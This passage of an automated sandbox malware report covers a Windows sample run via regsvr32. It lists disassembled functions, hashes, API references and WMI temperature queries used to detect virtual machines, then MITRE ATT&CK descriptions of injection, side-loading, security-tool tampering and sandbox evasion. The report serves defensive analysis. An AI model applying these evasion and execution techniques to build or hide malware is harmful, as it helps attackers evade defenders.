Instruction ID: c3dd5a5d9de6ce03d501793b72ac9d325f1d55f0f9df79f5fa2344bccf7dcc3e
Opcode Fuzzy Hash: 160e9365936cf7a0d4c89d484a12c7d80f063699b75887e0aac085e33207f3b9
Instruction Fuzzy Hash: CC816A3270AB4292EB209B51E460B6AA7A0FB85784F540035EEDD87BEDDF7DE441CB40

Function 00007FFDFB207360 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFDFB2074CB

Strings

attempt to join into collection with len > usize::MAX/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\str.rs, xrefs: 00007FFDFB2073D6

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID: attempt to join into collection with len > usize::MAX/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\str.rs
API String ID: 3510742995-1099963043
Opcode ID: d820e826a8be504fb17af10a82aeed62ca364efd42daaf38244ac31e4559b07e
Instruction ID: c831cf17ae09383005166c8c1b3b0dde67772f0b81489b20056a7a24d9ae129b
Opcode Fuzzy Hash: d820e826a8be504fb17af10a82aeed62ca364efd42daaf38244ac31e4559b07e
Instruction Fuzzy Hash: 2061B436B0AB8685EB109B15E4547A96760FB95BC4F588131DEAC877F9DF3CE145C300

Function 00007FFDFB201010 Relevance: 6.1, APIs: 4, Instructions: 107sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00007FFDFB201055
_amsg_exit.MSVCRT ref: 00007FFDFB201083

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: b641bfed71cacac4c60620ca17e9b895a375f51facf368f8d736af88659ae333
Instruction ID: 724aeacef76b5512b3434c40bbb978cabd227a64b55bc9a7ee821d9b4bc5202f
Opcode Fuzzy Hash: b641bfed71cacac4c60620ca17e9b895a375f51facf368f8d736af88659ae333
Instruction Fuzzy Hash: 05415B30B4A64786F715AF15E861B7966E1AF48BC5F484031EDAC877FCDE2DA8419340

Function 00007FFDFB28C260 Relevance: 6.1, APIs: 4, Instructions: 83sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FFDFB28C2FB
CloseHandle.KERNEL32 ref: 00007FFDFB28C306
CloseHandle.KERNEL32 ref: 00007FFDFB28C316
Sleep.KERNEL32 ref: 00007FFDFB28C35F

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CloseHandle$ObjectSingleSleepWait
String ID:
API String ID: 2593906732-0
Opcode ID: 92093e7900d96d8c4880aaba8b248f3d7dcf9c291f38ffbdd6ee0855f602c98c
Instruction ID: 9edb9b2e317254a739193c82e6df0b3fd873f513ac5bdb92628f687c517e7d5d
Opcode Fuzzy Hash: 92093e7900d96d8c4880aaba8b248f3d7dcf9c291f38ffbdd6ee0855f602c98c
Instruction Fuzzy Hash: 9321D152F0EA0306FF68A6292925B7945861F853E4E089232AD7E86BEDCF3CE4424201

Function 00007FFDFB214C10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FFDFB214E08

Strings

CriticalTripPoint, xrefs: 00007FFDFB214DCE
CurrentTemperature, xrefs: 00007FFDFB214CB0

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: ClearVariant
String ID: CriticalTripPoint$CurrentTemperature
API String ID: 1473721057-3920528518
Opcode ID: bc35f46b402e4f932862f10ef7ba6f6f5aa6a836c14b0d86b4fd00ff7f7dea13
Instruction ID: 5aaab317d77dc5d698e5fe88417e4b217dd8daec4074f84726172b08c5de9063
Opcode Fuzzy Hash: bc35f46b402e4f932862f10ef7ba6f6f5aa6a836c14b0d86b4fd00ff7f7dea13
Instruction Fuzzy Hash: 3D91AA32B1A68292FB61DB24E4647AAB390FB84344F505135E6AD82AFDDF7CD185CF00

Function 00007FFDFB2144A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00007FFDFB2144CA
SysFreeString.OLEAUT32 ref: 00007FFDFB2146EA

Strings

root\WMI, xrefs: 00007FFDFB2144C3

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: String$AllocFree
String ID: root\WMI
API String ID: 344208780-2712063579
Opcode ID: 27f1dc1efe08ff44dfcc107919422ea478e86da9b32577a8d41c7a5024e8475e
Instruction ID: 8501448f49bd0d54e7a96cae47126a5dbe5d1470a9ea95e91685acdf97664cb5
Opcode Fuzzy Hash: 27f1dc1efe08ff44dfcc107919422ea478e86da9b32577a8d41c7a5024e8475e
Instruction Fuzzy Hash: 44712D32709BC291E760DB11F4647AAA7A0FB85348F504135DAED86AEADF7DD484CB40

Function 00007FFDFB21446A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00007FFDFB2144CA

Strings

root\WMI, xrefs: 00007FFDFB2144C3

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: AllocString
String ID: root\WMI
API String ID: 2525500382-2712063579
Opcode ID: d44e3d030758f08b54c5dcf21609a7751f8543723886b08e5c0bf119d99804a8
Instruction ID: 808ddaf55e78b36c691e102acf925791214741909637381eee9ae295d783fe0e
Opcode Fuzzy Hash: d44e3d030758f08b54c5dcf21609a7751f8543723886b08e5c0bf119d99804a8
Instruction Fuzzy Hash: 2461502270D7C290E760DB11F424BEAA7A0FB86388F444134DADD86AEADF7DD485CB00

Function 00007FFDFB21445D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB212E10: CoUninitialize.OLE32(?,?,?,?,?,00007FFDFB214B4B), ref: 00007FFDFB212E82

Part of subcall function 00007FFDFB302850: RtlCaptureContext.KERNEL32 ref: 00007FFDFB3028E2
Part of subcall function 00007FFDFB302850: RtlUnwindEx.KERNEL32 ref: 00007FFDFB30291F
Part of subcall function 00007FFDFB302850: abort.MSVCRT ref: 00007FFDFB302925
Part of subcall function 00007FFDFB302850: RaiseException.KERNEL32 ref: 00007FFDFB302962

SysAllocString.OLEAUT32 ref: 00007FFDFB2144CA
SysFreeString.OLEAUT32 ref: 00007FFDFB2146EA

Strings

root\WMI, xrefs: 00007FFDFB2144C3

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: String$AllocCaptureContextExceptionFreeRaiseUninitializeUnwindabort
String ID: root\WMI
API String ID: 3978314060-2712063579
Opcode ID: ca3ca4bf73fa3634b835e6928584fb45e0bef150d439b4d3c98263f7e25362f1
Instruction ID: 4f437f568616e9fb1670d902d5b81fce9b71b7159c52f26d2be12ec9a6256e6a
Opcode Fuzzy Hash: ca3ca4bf73fa3634b835e6928584fb45e0bef150d439b4d3c98263f7e25362f1
Instruction Fuzzy Hash: 1F614F3270D6C290E760DB11F424BAAA7A0FB86388F544134DADD86AEADF7DD485CB00

Function 00007FFDFB214465 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB212E10: CoUninitialize.OLE32(?,?,?,?,?,00007FFDFB214B4B), ref: 00007FFDFB212E82

Part of subcall function 00007FFDFB302850: RtlCaptureContext.KERNEL32 ref: 00007FFDFB3028E2
Part of subcall function 00007FFDFB302850: RtlUnwindEx.KERNEL32 ref: 00007FFDFB30291F
Part of subcall function 00007FFDFB302850: abort.MSVCRT ref: 00007FFDFB302925
Part of subcall function 00007FFDFB302850: RaiseException.KERNEL32 ref: 00007FFDFB302962

SysAllocString.OLEAUT32 ref: 00007FFDFB2144CA
SysFreeString.OLEAUT32 ref: 00007FFDFB2146EA

Strings

root\WMI, xrefs: 00007FFDFB2144C3

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: String$AllocCaptureContextExceptionFreeRaiseUninitializeUnwindabort
String ID: root\WMI
API String ID: 3978314060-2712063579
Opcode ID: 9e17f84cfc077cffa44802880004ee1cd702a2f114e76d381d71444006714322
Instruction ID: 9930319c5ec297929489b9652af14697b8fb52f81852bd905b3021b003625a12
Opcode Fuzzy Hash: 9e17f84cfc077cffa44802880004ee1cd702a2f114e76d381d71444006714322
Instruction Fuzzy Hash: 50614F2270D6C290E760DB11F424BEAA7A0FB86388F544134DADD86AEADF7DD485CB00

Function 00007FFDFB2267E0 Relevance: 5.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FFDFB2268FE
memcpy.MSVCRT ref: 00007FFDFB226911
memcpy.MSVCRT ref: 00007FFDFB226959
memcpy.MSVCRT ref: 00007FFDFB2269A6

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 4e6aca2f2a00dabdab28ed4bb2818ea65fda1ce4b6942103f5313d0f1bdd30bb
Instruction ID: d4d5111daa4695f60a902b18b24078f71c88da57ebbbc42f878e8828759b6fa5
Opcode Fuzzy Hash: 4e6aca2f2a00dabdab28ed4bb2818ea65fda1ce4b6942103f5313d0f1bdd30bb
Instruction Fuzzy Hash: 8D41CD33B2665241F7129B26DC01BAA5A60BF92790F898736EEB8567D5EF3CD148C300

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_43pokpvo.rhh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4pu10rbo.ls4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5argqkq3.mgv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebjbczv2.kxr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_glle3ccc.2an.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ie5y5ywf.sva.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ik3iq54c.hdw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kugqo02g.a11.psm1

